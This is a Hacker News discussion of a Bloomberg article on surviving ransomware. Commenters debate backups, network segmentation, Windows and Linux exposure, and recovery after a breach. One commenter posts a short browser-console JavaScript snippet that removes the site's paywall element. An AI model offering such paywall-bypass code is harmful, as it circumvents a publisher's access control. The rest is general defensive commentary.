
How to survive a ransomware attack without paying the ransom - DamnInteresting
https://www.bloomberg.com/news/features/2020-07-23/how-to-survive-ransomware-attack-without-paying-ransom
======
piokoch
Garmin CEO at al must be reading this impatiently, looking for some clever-
magic clue, which is not gonna arrive, I am afraid.

Meanwhile Garmin watches users (like me) are wondering how it is that syncing
my watch that I have bought with an application on my smartphone that I have
bought requires presence of some distant online service.

I can understand that some parts like "social" stuff might depend on some
central service but, hey, something simple like syncing ones excercise
achievements between phone and watch? Really? Who has designed that?

~~~
prennert
It is surprisingly difficult to make synchronisation work between two devices
that might run different hard- and firmware and even potentially software
versions. Cloud based APIs as middleware is soo much easier in comparison.

I am completely with you conceptually, but from experience I can tell you that
even if there is a commercial incentive to allow for local communication it
takes a few days to get it working with the cloud and months to do it locally
only. And you really need to know what you are doing to make it safe and
reliable in all eventualities.

~~~
feanaro
What makes it so difficult? What are some concrete problems you encountered?

~~~
buran77
It is not intrinsically difficult, it's made difficult by the fact that the
companies themselves specifically want to have their infrastructure in the mix
to have access to valuable user data. There's no particularly difficult
challenge to sync the phone and watch directly, offline. A good chunk of
revenue comes from services which rely on the data being in the cloud.

~~~
com2kid
I worked on a competitor.

It was 100% about user expectations, the data was never mined for anything.

People use multiple phones, replace their phone, delete apps to free up space,
and still expect their data to be there.

Running a cloud infrastructure for PII isn't exactly low cost, and bundling a
life time subscription with a one time device purchase is horrible economics.
It isn't done for no reason.

~~~
buran77
> the data was never mined for anything

Oh I wasn't implying what's generally seen as "data mining". But for such a
company to offer many of the features in the paid services they need that
data. They don't have to sell it to others, they only have to sell it back to
the users as added services even included in the price of the hardware itself.
Those added services can be as simple as sync between multiple phones or
sharing on social media, or premium features like advanced analytics.

On the other hand this kind of data can be also sold entirely anonymized.
Strava does this and many cities' urban planners buy the data to understand
better how the city infrastructure is used by the people (running, cycling,
etc.) and how to develop it.

I'm not saying there's no value in it, just that without it the value of the
product decreases significantly. So it's in the manufacturer's best interest
to have it as part of the basis of their offering.

------
hprotagonist
_It is always a temptation for a rich and lazy nation,

To puff and look important and to say: –

"Though we know we should defeat you,

we have not the time to meet you.

We will therefore pay you cash to go away."

And that is called paying the Dane-geld;

But we've proved it again and again,

That if once you have paid him the Dane-geld

You never get rid of the Dane._

[http://www.kiplingsociety.co.uk/poems_danegeld.htm](http://www.kiplingsociety.co.uk/poems_danegeld.htm)

parenthetically, this is equally true of toddler-geld.

------
rectang
> _In other words, it’s less a question of how to stop hackers from breaking
> in than how to best survive the inevitable damage._

There doesn't seem to be conventional wisdom about how to build systems that
are easy to restore. How do you optimize for recovery after an attack? How do
you ensure that you've eliminated all the backdoors?

My guess is a combination of "continuous restoration", version controlled
code, and a complete separation of code from data.

I want to read books about this but they don't seem to exist.

~~~
jeffbee
Just having a decent and reasonable way to nuke and pave machines goes a long
way. Most organizations don't have a good way to shoot a machine in the face
and have it back up and serving in 2 minutes. Most organizations are
absolutely married to "stateful services" like SQL databases with local
storage, that are hard to kill, hard to restore, and give attackers a place to
hang out.

If you can take all your hosts down and bring them all back up quickly, that
gives you at least one tool for disrupting the attackers.

~~~
em-bee
which company was it that randomly shot down machines in production to make
sure the system would be resilient enough?

~~~
m12k
Sounds like the Netflix chaos engineering team

------
larrymcp
How is ransomware able to spread to all the PCs in a company? (Especially PCs
at different locations around the globe)

The malware needs to execute itself on each computer. But I would think this
would be thwarted by hardware firewalls as well as apps like Windows Firewall.

If my PC at work gets infected, somehow it can magically infect the guy down
the hall's PC too? I thought that was made impossible years ago.

~~~
6c696e7578
The common components in the ransomware attacks is Windows and AD.

Some leverage known exploits against elements like LSASS, so if the person
infected has credentials for another computer, why not slurp up all the
credential tokens on remote computers that you can log into too.

If you use Linux/Unix on the other hand, you can do descent things to contain
access. Firstly, elevated management accounts can restrict login sources,
either by ssh authorized_keys or deny rules in sshd_config. Secondly, and very
importantly, you can contain what applications can access through SELinux.

Running Windows these days is like walking around with "Kick me" hung around
your neck.

~~~
lostmsu
None of what you mentioned requires a lot of effort on Windows. Exploits in
LSASS are no different from exploits in Linux kernel, and if you stay up to
date and configure everything correctly you should be fine.

~~~
user5994461
LSASS is a system process, need SE_DEBUG_PRIVILEGES to read its memory (full
system administrator).

As far as I am aware, the last time there was an actual exploit in LSASS was
in Windows XP.

------
tluyben2
I know this is always contentious but are there any of these ransomware
attacks on non Windows machine? I mean prominent ones? I understand everyone
is running Windows on the desktop, but why are Linux servers not targetted by
the same thing as they are prominent? I know they get hacked all the time, but
I never read stories like this about them. I read that mongo was hacked (and
yeah, using mongo, sorry but...) which probably ran on Linux; however pure
ransomware attacks I cannot find outside Windows. People keep saying that if
other devices would be as popular, they would attack them; but for instance my
mother has an ipad, android phone and a windows laptop, and the only (penis
enlarger.....) malware is in windows which has an up to date AV. Android is
more popular than Windows, Linux on servers is as well, iOS is as well. And
yet all the crap is always Windows. I do not get it.

~~~
PeterisP
Ransomware attacks absolutely _do_ target Linux servers because one needs to
take down all the servers to have a proper business disruption for which
someone will pay a million dollar ransom; in all the recent prominent attacks
Linux servers were taken down as well.

Perhaps there's some issue with what you mean by "pure ransomware" \- if you
mean automatically spreading worms, then those aren't that relevant, prominent
examples like Petya was four years ago; NotPetya was not ransomware but a
destructive weapon, etc. In the current environment, and also in the attack
described in this article, a "ransomware attack" means a takeover of your
systems by a ransomware crew of hackers manually working on your specific
network. They generally start with a spearphishing which targets Windows
desktop machines because usually the easiest way to target Linux servers is
through client-side attacks, obtaining user credentials and a foothold inside
the network that helps with firewall restrictions.

~~~
tluyben2
> obtaining user credentials and a foothold inside the network that helps with
> firewall restrictions.

Yes but those are somewhat human errors; my point is more along the lines that
linux might be the primary target for the entire attack, but it always starts
with attacks on Windows. I was looking for a case, specifically with
ransomware, that started with Linux/Mac OS X instead of Windows.

In my opinion (and to be honest, PCI DSS actually enforces this some extend)
it should not be possible to gather linux credentials from singular hacked
machines. If you hack my system, you will not be able to login to our prod
linux machines; you will need my hardware device to generate OTPs. This is
what we actually do for a living, but it is rather weird that people don't
just have google-authenticator as standard for lack of a hardware token; then
your private key would still not get the hackers anywhere. Use hardware tokens
+ non-windows then basically none of these attacks would work.

------
naple
I consider the modal on the bloomberg site a ransomware. Can't close till you
pay. Joking :)

~~~
dheera
Yeah screw that paywall. Paste this into the console

    
    
        document.querySelector('.paywall-inline-tout').remove();
        document.querySelectorAll('p').forEach(e => e.style.display='');

~~~
dencodev
I prefer control-W

~~~
coronadisaster
One of my extension appear to be blocking it because I didn't know it existed

------
beefhash
Given there's been a recent trend about ransomware not only encrypting, but
also exfiltrating data, backups won't save you from the bad PR of the leak.

------
neonate
[https://archive.is/Rfcha](https://archive.is/Rfcha)

------
linsomniac
The unfortunate thing is that the ransom probably is priced such that it's
cheaper than the company resolving the problem on their own. Or the company
would just resolve it without paying the ransom. On the other hand, it's bad
on many fronts if the company just decides it is the cost of doing business,
and doesn't do a great job of securing their systems in the future...

Many companies just get by, rather than doing serious security design. How do
you change that culture in a company? Will paying the ransom do that? Probably
if it only costs $1M to do. If it costs them $100M to do, would they do it?

------
lobster45
This is not really surviving. What do you need to do is prepare and to have
off line backups

~~~
FlyMoreRockets
Offline backups have been a thing for decades. Why is this not standard
practice? Especially for a technology company like Garmin. It can't be about
cost savings, businesses still pay for insurance and security systems. For
that matter, offsite backups should also be saved in case of fires, floods,
tornadoes, theft, etc...

~~~
cpeterso
Offline backups are not a complete solution. What if your backups are infected
with the virus? Even if the backups are uninfected, your IT department has to
manually scrap and rebuild all your computers from data centers to the
warehouse to the receptionist. And in the meantime, like the article
described, you have to pay your employees and suppliers and continue to ship
products to customers.

~~~
FlyMoreRockets
An important part of any backup strategy is testing your backups on a regular
basis. Perhaps it could even be automated...

~~~
cranekam
I think the point here is that it's not as trivial as having an offline copy
of your SQL DB or whatever. If the ransomware has encrypted a huge chunk of
your infra the chances are that you no longer have anything to restore the
backup to — maybe your configurations are encrypted, your DB hosts aren't up,
user accounts etc are missing. Assuming that only user data is affected and
can be easily restored likely falls very short of the full picture. I expect
the folks at Garmin are faced with an infrastructure that looks like a grenade
fell into it.

------
sytelus
Good story, bad title. There is no real lesson on how to survive ransomware
except that company called Hydro was able to use employees to rebuild some of
its data needed for running plants. Most companies deal with databases that
cannot be similarly rebuilt in just days like that.

------
einrealist
I wonder how many of such attacks can be prevented / starved in a zero-trust
network.

------
unnouinceput
This quote left me dumbfounded, marveling at sheer level of incompetence (or
bureaucracy) some places have:

"Three weeks after the attack, Hydro had a total of four functioning PCs in
all of the U.S."

------
arthurofbabylon
Judging by comments hackers aren’t commenting on hacker news anymore.

------
fortran77
Isn't a ransomware attack no different from a catastrophic disk drive failure?
You reformat and restore from backup. Of course, the companies profiled in
that article had all their computers infected, so it could take some time.
Still a recovery boot disk could be distributed and a clean image restored
over the network.

~~~
PeterisP
No, because you can't consider your backups as a "known good state". A
malicious attack is fundamentally different from a disaster or accident.

You should expect that any backup of systems (instead of backups of 100% pure
data) will contain backdoors, that any weird systems (routers, printers, phone
centrals) may be compromised even if they seem fine, and that the credentials
of all the employees and any private keys/certificates have been exfiltrated,
so they need to be changed.

~~~
pmiller2
Even “100% pure data” isn’t necessarily safe. Word documents, Excel sheets,
PowerPoint decks, _etc._ (and their Google Docs counterparts) are all suspect,
because they can contain embedded code. Some “data” formats are really not
data formats at all, but _code_ which produces the data you use ( _e.g._ PDF,
Postscript, or any Excel sheet with formulas). It’s even possible to corrupt
certain otherwise inert data files in such a way as to cause malicious
behavior by exploiting bugs in the software that reads them.

So, yes, while you’re technically correct that 100% inert and uncorrupted data
files are safe, you have to _prove_ that those files are not corrupted. And,
so many data formats either are code or contain embedded code, so these need
to be treated as suspect until proven otherwise, as well.

~~~
PeterisP
Well, yes, I would not consider arbitrary documents as "pure data" \- for that
I was thinking as something like a dump of a particular database table
contents only, separate from all the database
structure/metadata/triggers/functions/etc.

You could restore a dump of pure structured data to a known clean system and
that would be safe - but once you include arbitrary files as you describe, no
way. Embedding malware in some periodically-accessed document on a public file
share is a reasonable persistance mechanism for an attacker.

~~~
pmiller2
I would expect a SQL dump of a database to be safe, as long as the schema only
contains standard data types and no BLOBs. Once you start throwing BLOBs in
there, anything goes.

------
WrtCdEvrydy
I find it very interesting the Volume Shadow Copies and VLANs are basic tools
that have been around forever, cost very little and can mitigate a lot of
ransomware attempts.

There's no reason for the secretary's computer to be able to connect to the
onsite SQL server... unless she uses an application that uses that SQL server.

~~~
zamadatix
The complicated part isn't figuring out that you should segment access or
finding technology that lets you do it it's actually knowing what to segment
in a way that balances risk with speed and cost.

The same is true for most things. Problems are often well known, solutions are
often understood, but doing things is where the actual work is.

------
Tiltowait--
Easy: restore from backups.

~~~
matsemann
What if they hacked you months before pulling the trigger? The article
mentions they were hacked in December and the attack launched in March.
Restoring a backup would then still leave the hackers inside.

And even if most data were backed up, most computers still have to be wiped
and reinstalled. I don't think most companies backup the entire disks off all
employees, it's normally just a dedicated file area. So while the data can be
restored, the IT department still have to set up hundreds of computers for all
kinds of different workers or machines on the spot.

Nothing is ever easy, don't be so dismissive about things you haven't thought
through.

~~~
viraptor
Companies of non-trivial size often have (and should have) a system allowing
for remote device management. Which means:

\- It should be easy to reinstall to a known good image with all the relevant
software, settings, drivers, etc. then restore the backed up data. This is
relatively common in corps.

\- Once you observe the malware and know how it reaches the C&C server, you
can push rules blocking that host or block the bad binary network-wide.

Of course there will be companies that didn't have good enough system in place
and once exploited are doomed.

~~~
marcinzm
The attackers likely compromised the computers using the remote device
management system which means it's either disabled or unsafe to use.

~~~
viraptor
Sure, you need to make sure your AD and device management is clean before
starting the process. My point was that once you're bootstraped you shouldn't
need a fully manual recovery process.

~~~
marcinzm
And I'm pointing out that when your attacker has control of device management
they can also disable device management on all the devices after their attack
is deployed.

------
dzonga
some of these companies, need to start suing microsoft. since it's usually
windows affected by these malware attacks. if microsoft wants to keep serving
the majority of the corp world, they need to have an os, based on user space
system. i.e each program runs in it's own sandbox. and any data passed is via
message passing.

~~~
user5994461
Microsoft has pretty good security nowadays.

It's the fault of companies for never upgrading their machines, giving full
administrators access to every employee and using Admin123 as the domain
administrator password account.

If we believe the article, the virus came from an attachment in an email to a
random employee. Why are executable attachments not blocked? Why is an
executable running as an unprivileged user able to storm through every
computer in the company?

~~~
raverbashing
But did they? Were their machines updated? Did they have some "corporate AV"
solution that was useless?

> Why are executable attachments not blocked?

Because there are dozens of weird Windows extension types that execute
automatically on Windows, though yeah the attachment should have been blocked
and a customer service machine should have a whitelist of programs that need
to run (or only run signed ones)

------
abcok1
You can't because of bitcoin. Bitcoin is what criminals dream of.

